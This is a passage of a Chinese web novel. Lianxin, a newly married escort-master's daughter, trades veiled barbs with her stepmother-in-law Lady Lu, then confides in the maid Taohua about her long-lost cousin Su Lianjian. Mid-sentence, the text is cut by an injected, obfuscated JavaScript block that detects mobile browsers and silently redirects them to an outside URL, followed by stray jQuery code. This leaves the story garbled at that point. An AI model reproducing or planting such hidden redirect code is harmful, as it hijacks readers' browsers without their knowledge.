出乎莲心预料的是,她并没有如往常那样挨骂,反而遭到了前所未有的礼遇。
这两个多月下来,陆夫人对她也有了不少了解,知道她要么就是装傻充愣,要么就是低头认错。
但不管对她恶语相向,还是苦口婆心温言相劝,莲心都是照单全收,始终一副乖顺有礼的模样。
一两次还好,这么些次下来饶是她不直接言明,陆夫人又岂会猜不透那点小心思?
什么办事不力,不过就是敷衍她罢了,说白了她这位新过门的儿媳不是没有心,恰相反,那七窍玲珑心生得比谁都好。
只不过,是偏偏不往正地方用而已。
刚用藏红花染过的指尖鲜艳饱满,陆夫人一边顺着怀里白猫的脖颈,一面眯起眼对堂下的儿媳浅浅一笑,语气中含着几分亲近。
“我这继母的身份不比其他,况且又与嘉文因误会生了不少嫌隙。这段时日晨昏定省都是你自己个儿,心里头藏了不少苦吧?”
按理说听了这番关切的话就算不热泪盈眶,也应该心头一暖,可莲心却两者皆没有,反而被那双眼睛看得有些心慌。
总觉得这话里话外怪怪的,说不出哪里不对劲,就好像是以退为进的拳法,看似是落了下风,可实则却还是在暗暗进攻。
“有娘关照,就算再难也不觉着苦。更何况比起流离失所,能留在府里已是我莫大的幸运,莲心福薄,不敢再奢求其他。”
高手过招,只在须臾之间,借力打力,亦算得上是一记妙招。
看着陆夫人明显僵了一瞬的殷红唇畔,莲心不动声色勾出抹清浅的笑,端起茶杯抿了一抿。
“你能这样想,为娘也很是欣慰”,到底姜还是老的辣,陆夫人素手微蜷,转而便又抛出一招。
“越是高门大户,便越有金碧辉煌下的腌臜不堪”,她挑了挑精心描摹的秀眉,“待日后嘉文高中,府中少不了要再进新人,到那时姐妹间说说笑笑,日子也就好过多了。”
这话的言外之意,无非是敲打她的出身,小门小户的镖师之女,为了冲喜匆匆过门作正妻可以。
可一旦陆时礼明年科举高中,那她的这个身份显然就配不上了。
勉强做个妾室可以,正妻之位肯定是要从门当户对的世家小姐里重新选择的。
莲心不置可否的轻叹一声,心里想的却是,这位陆夫人当真是着急了,连攻心计都搬了出来。
对招之时最忌攻心,既然您不讲武德,那也别怪我不尊老了!
“是啊,所以还是咱们女子之间最靠得住”,注意到桃华在小心给她使眼色,莲心微微一顿,最终还是面色如常地继续说了下去。
“听闻柳姨娘收到爹特意从京城寄来的燕窝,知道您这儿没有,片刻没耽误就亲自给您送来了,这份姐妹情谊也真是让人感动呢!”
习武之人虽说喜欢直来直往,但并不是对攻心之法全然不通。
正所谓集百家之所长,演武场上拳拳到肉,打红眼了什么狠话说不出来?
所以论起往人心窝子插刀,莲心丝毫不比深宅妇人要差,就这,也不过发挥了四成功力。
人家毕竟上了年纪,点到为止即可,此刻看着陆夫人那张慢慢褪去血色的脸,莲心觉着自己刚才还是说得有点狠了,下次得再悠着点。
片刻的死寂中,屋内的三人或站或坐,各怀心思。
主座之上的陆夫人自然难掩怒火,又尖又长的指甲差点刺入的白猫柔软的皮肉,实在没想到,这个一直装糊涂的臭丫头竟还有如此伶俐的口齿。
桃华仍旧神情淡淡,只是在莲心说那句话的时候,眼中闪过一瞬间的亮色。
用这一招无往不利的陆夫人没有想到,会在今日呛了一鼻子灰。
其实莲心也并没有她所想的那么有定力,之所以没有如预想中的心急如焚,只不过是因为没有那么在意。
读过那么多书,走过那么多路,莲心从不将自己拘泥于一小方天地之中。
即使陆时礼不变心,与她白首不离,那莲心也是会去做自己的事,没报仇的时候去报仇,等报完了仇,她便想重开自家镖局,像父亲那样踏遍山河。
但感情之事最难苛求,若是有朝一日他生了二心,莲心自然就是你若无情我便休,她有手有脚的,自可去一方安身立户。
万千山河壮阔秀丽,终其一生都未必能够参见,她又何苦为了不值得的人而整日勾心斗角,和一群柔弱女子东拉西扯,争风吃醋呢?
沉默地过了良久,陆夫人才撑着额头低低地叹了口气,朝莲心摆了摆手,示意桃华送客。
“但愿你这心气,并非一时意气。往后日子还长,我会擦亮双眼,拭目以待!”
临了临了,陆夫人缓缓留下一句,随即也不理会莲心两人的行礼,搭着身旁丫鬟的手,优雅地回了卧房。
“你方才那话太冒失了”,待脚步声越来越远,桃华才轻声说了句,“逞一时口舌之快,到最后吃亏的还得是你自己。”
莲心点了点头,随即又摇了摇头,“我也知道要尊敬长辈,不过之前道理讲也讲不通,她总是逼我给人下毒,我这不也是实在没办法了嘛!”
走出几步后,桃华放缓脚步,目光中多了几分担忧。
“怕是从现在开始,陆夫人已经把你当作了敌人,想要除掉的除了大公子,还会再多上一个你。”
不用她提醒,莲心也已经想到了这一层,但没打过几过交道,突然从她口中听到,还是觉得有几分惊喜,便笑着问。
“姑娘怎的今日如此有心,还特意说出来提醒我了?”
“说不上来是什么原因”,没成想桃华认真思索了一下,有些困惑地摇了摇头,“或许就是觉着你莫名亲切,像我家中的小妹吧。”
这倒是个意料之外的回答。
莲心原本以为她会闭口不谈,然后神情淡淡的拂袖而去,见她这般诚恳的回答,有些措手不及地怔了一瞬。
她的小表情刚好被瞄过来的桃华捕捉,敛去了那丝若有若无的柔情,又恢复了冷若冰霜的模样,“怎么,觉着像我妹妹委屈你了?”
委屈?自然是不委屈的,恰相反,她感觉到了莫大的喜悦。
“怎么会”,莲心赶忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159758|164961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇了摇头,郑重的福了一礼,“我是家中长女,虽然有个堂姐但也早已失散多年,如今若能有你做姐姐,我乐都乐不过来呢!”
莲心的身世从来不是秘密,与一般人的怜悯之情不同,桃华在同情之余,更多的还是对她胆识武艺的欣赏,也赶忙俯身回了一礼。
“你是少夫人我是丫鬟,彼此关照便是,行礼便是折煞我了”,桃华抿了抿唇,身子却不自觉往过靠了靠,两人间只有半步的距离。
“我在江洲也有不少熟人,不知可否说下你堂姐名讳?我这边托人帮忙找找,往后无论如何也好一家人有个照应。”
其实这些日子莲心也没少托镖局的熟人帮忙去找,可无论是手臂有刺青的少女,还是她的堂姐莲见,都像人间蒸发一般,没有半点存在的痕迹。
走南闯北的镖师都未能见过,其他人找到的希望恐怕更加渺茫。
可毕竟也是人家的一番心意,莲心微微犹豫了一瞬,便点了点头。
“那就有劳桃华姐多费心了,我堂姐名唤苏莲见,应当算是江洲本地人。年幼时因家中变故在福州我爹娘身边呆过一段,后来被娘家叔伯接走,便再也没了联系。”
其实这话她只说了一半,关于陆时礼讲的与莲见在陆府相处的几年经历,她没有提及,自然也没有说在屠城之前目睹母亲与她短暂会面之事。
前者不说,是因为毕竟没有亲眼所见,无法确定那少女就是莲见本人,而不是有人冒名顶替。
后者也没提,一方面同样有无法断定本人的原因,另一方面莲心也留了一手。
虽然觉得桃华莫名亲切,而且彼此的关心也不像装的。
但不怕一万就怕万一,多留个心眼总归没有坏处。
再说找人主要看外貌姓名,这些事说与不说,对于结果也没有多少影响。
“莲见……”,桃华喃喃重复了两遍,才施施然凝回目光,继续问道,“可有什么典型的特征?”
“典型的特征吗?我也只是在很小的时候见过她几面,当真是没有什么印象了……”
而素来清冷寡言的桃华却一反常态,对于低头回忆的莲心十分有耐心,言语间时不时会有轻声的鼓励与安慰。
或者说,在听到“莲见”这两个字后,桃华就有些不对劲。
那种感觉莲心说不出来,反正就是怪怪的,感觉像犯错误后对子女循循善诱的父母。
表面看起来是鼓励畅所欲言,其实想要听的内容,早已在他们心中有了大致的答案。
不过就是想要从你的口,再确认一遍罢了。
“应当没有什么具体的特征,不过在我的印象里,大人们都说我和她长得很像,简直就是一个模子里刻出来的一样……”
“啪”,桃华脚下一绊,差点从最后一级台阶上摔下,幸好身侧的莲心眼疾手快,将她稳稳拉住,这才免去皮肉之苦。
好半天,苍白着一张脸的桃华才如梦初醒,若有所思地凝望着莲心的双眼。
声音很轻,似是在小心地问,又像是单纯在喃喃自语。
“原来……是这样吗?”